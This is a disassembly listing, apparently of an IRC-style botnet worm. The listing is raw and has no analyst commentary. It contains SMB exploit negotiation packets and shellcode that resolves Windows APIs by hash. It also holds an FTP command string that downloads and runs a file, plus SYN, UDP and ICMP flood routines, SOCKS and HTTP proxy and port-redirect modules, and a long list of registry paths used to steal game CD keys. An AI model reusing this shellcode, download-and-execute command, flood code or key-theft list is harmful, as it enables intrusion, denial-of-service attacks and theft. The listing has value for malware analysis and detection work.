dword_444840	dd 10FF8h, 0	dword_444848	dd 10FF8h	dword_44484C	dd 7FFDF020h, 0	dword_444854	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44490C	dd 0		dword_444910	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444918	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A14
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A2A
		mov	[esi+8], eax
		call	sub_4449DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A2A
		mov	[esi+0Ch], eax
		call	sub_44498F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A2A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444918	endp


; =============== S U B	R O U T	I N E =======================================



sub_44498F	proc near		; CODE XREF: sub_444918+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44498F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449B8	proc near		; CODE XREF: sub_44498F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449C7:				; CODE XREF: sub_4449B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449D4
		inc	ebx
		jmp	short loc_4449C7
; ---------------------------------------------------------------------------


loc_4449D4:				; CODE XREF: sub_4449B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449DD	proc near		; CODE XREF: sub_444918+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449F5:				; CODE XREF: sub_4449DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449FD
		mov	ecx, [ecx]
		jmp	short loc_4449F5
; ---------------------------------------------------------------------------


loc_4449FD:				; CODE XREF: sub_4449DD+1Aj
		mov	edx, edi


loc_4449FF:				; CODE XREF: sub_4449DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_444A09
		mov	edx, [edx+4]
		jmp	short loc_4449FF
; ---------------------------------------------------------------------------


loc_444A09:				; CODE XREF: sub_4449DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A14	proc near		; CODE XREF: sub_444918+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A2A	proc near		; CODE XREF: sub_444918+16p
					; sub_444918+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A40:				; CODE XREF: sub_444A2A+33j
		jecxz	short loc_444A7A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A4D:				; CODE XREF: sub_444A2A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A59
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A4D
; ---------------------------------------------------------------------------


loc_444A59:				; CODE XREF: sub_444A2A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A40
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A7A:				; CODE XREF: sub_444A2A:loc_444A40j
					; sub_444A2A:loc_444A7Aj
		jmp	short loc_444A7A
sub_444A2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A80	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AD2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A9D:				; CODE XREF: sub_444A80+38j
		jecxz	short loc_444ACD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444AA8:				; CODE XREF: sub_444A80+32j
		lodsb
		test	al, al
		jz	short loc_444AB4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444AA8
; ---------------------------------------------------------------------------


loc_444AB4:				; CODE XREF: sub_444A80+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A9D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ACD:				; CODE XREF: sub_444A80:loc_444A9Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AD2	proc near		; CODE XREF: sub_444A80+7p

; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AEB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AF6
; ---------------------------------------------------------------------------


loc_444AEB:				; CODE XREF: sub_444AD2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AF6:				; CODE XREF: sub_444AD2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444B0A
sub_444AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AFD	proc near		; CODE XREF: sub_444AD2:loc_444B0Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AD2


loc_444B0A:				; CODE XREF: sub_444AD2+29j
		call	sub_444AFD
; END OF FUNCTION CHUNK	FOR sub_444AD2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444BA4	dd 23h		dword_444BA8	dd 60h		dword_444BAC	dd 62B0606h, 2050501h, 0A0hdword_444BB8	dd 0A1h		dword_444BBC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BC8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BD0
; ---------------------------------------------------------------------------
		align 10h
dword_444BD0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C78:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C7C
; ---------------------------------------------------------------------------


loc_444C7A:				; CODE XREF: ___:loc_444C7Cp
		jmp	short loc_444C81
; ---------------------------------------------------------------------------


loc_444C7C:				; CODE XREF: ___:loc_444C78j
		call	loc_444C7A


loc_444C81:				; CODE XREF: ___:loc_444C7Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C86	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C8B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C90:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C94
; ---------------------------------------------------------------------------


loc_444C92:				; CODE XREF: ___:loc_444C94p
		jmp	short loc_444C99
; ---------------------------------------------------------------------------


loc_444C94:				; CODE XREF: ___:loc_444C90j
		call	loc_444C92


loc_444C99:				; CODE XREF: ___:loc_444C92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C9D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444CA1	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444CA8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C	dd 74656720h	byte_444D20	db 20h			; DATA XREF: sub_425270+A2r
dword_444D21	dd 0E8006A00h	dword_444D25	dd 17h							; sub_425270+D2r
dword_444D29	dd 0E8C30175h	dword_444D2D	dd 1							; sub_425270+E7r
byte_444D31	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D3B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F40	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445230	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445258	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445338	dd 1000005h, 0	dword_445340	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:00445408o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454E4	dd 524F5453h	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454EC	dd 52544552h	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454F4	dd 5453494Ch	byte_4454F8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454FC	dd 54534C4Eh	byte_445500	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_445504	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456BC	dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
					; "InterlockedCompareExchange"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456FC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_445700	dd 25206425h, 64hdword_445708	dd 455A4953h, 732520h, 0dword_445714	dd 4D54444Dh, 732520h, 0dword_445720	dd 4F544E52h, 732520h, 0dword_44572C	dd 52464E52h, 732520h, 0dword_445738	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44574C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
					; ___:off_4456BCo
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA:					; DATA XREF: sub_433A20+36o
		unicode	0, <€>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 4468A4h, 446F70h,	446870h, 80000002h, 446810h
		dd 446F70h, 4467E0h, 80000002h,	446788h, 446F70h, 446764h
		dd 80000002h, 44671Ch, 446F70h,	446704h, 80000002h, 4466C0h
		dd 446F70h, 446698h, 80000002h,	44665Ch, 446F70h, 446628h
		dd 80000002h, 4465C8h, 446F70h,	44659Ch, 80000002h, 446578h
		dd 446570h, 446544h, 80000002h,	44651Ch, 446570h, 446504h
		dd 80000001h, 4464D4h, 4464D0h,	4464C0h, 80000002h, 446484h
		dd 446F70h, 446474h, 80000002h,	446438h, 446F70h, 446424h
		dd 80000002h, 4463DCh, 446F70h,	4463C0h, 80000002h, 44637Ch
		dd 446F70h, 446360h, 80000001h,	446338h, 4464D0h, 446328h
		dd 80000001h, 446300h, 4464D0h,	4462E0h, 80000002h, 4462A4h
		dd 4462A0h, 446284h, 80000002h,	446260h, 446258h, 446240h
		dd 80000001h, 446214h, 44620Ch,	4461E8h, 80000002h, 44619Ch
		dd 446F70h, 446174h, 80000002h,	446120h, 446F70h, 4460E8h
		dd 80000002h, 446084h, 446F70h,	446050h, 80000002h, 445FF0h
		dd 446F70h, 445FD4h, 80000002h,	445F8Ch, 446F70h, 445F70h
		dd 80000002h, 445F28h, 446F70h,	445F18h, 80000002h, 445EDCh
		dd 446F70h, 445ECCh, 80000002h,	445E90h, 446F70h, 445E68h
		dd 80000002h, 445E14h, 446F70h,	445DECh, 80000002h, 445D9Ch
		dd 446F70h, 445D80h, 80000002h,	445D58h, 4464D0h, 445D44h
		dd 80000002h, 445D0Ch, 446F70h,	445CDCh, 80000002h, 445C84h
		dd 446F70h, 445C68h, 80000001h,	445C18h, 445C10h, 445BF4h
		dd 80000002h, 445BB0h, 445BA4h,	445B8Ch, 80000001h, 445B5Ch
		dd 445B50h, 445B30h, 80000002h,	445AF4h, 445C10h, 445AD4h
		dd 80000002h, 445A98h, 445C10h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
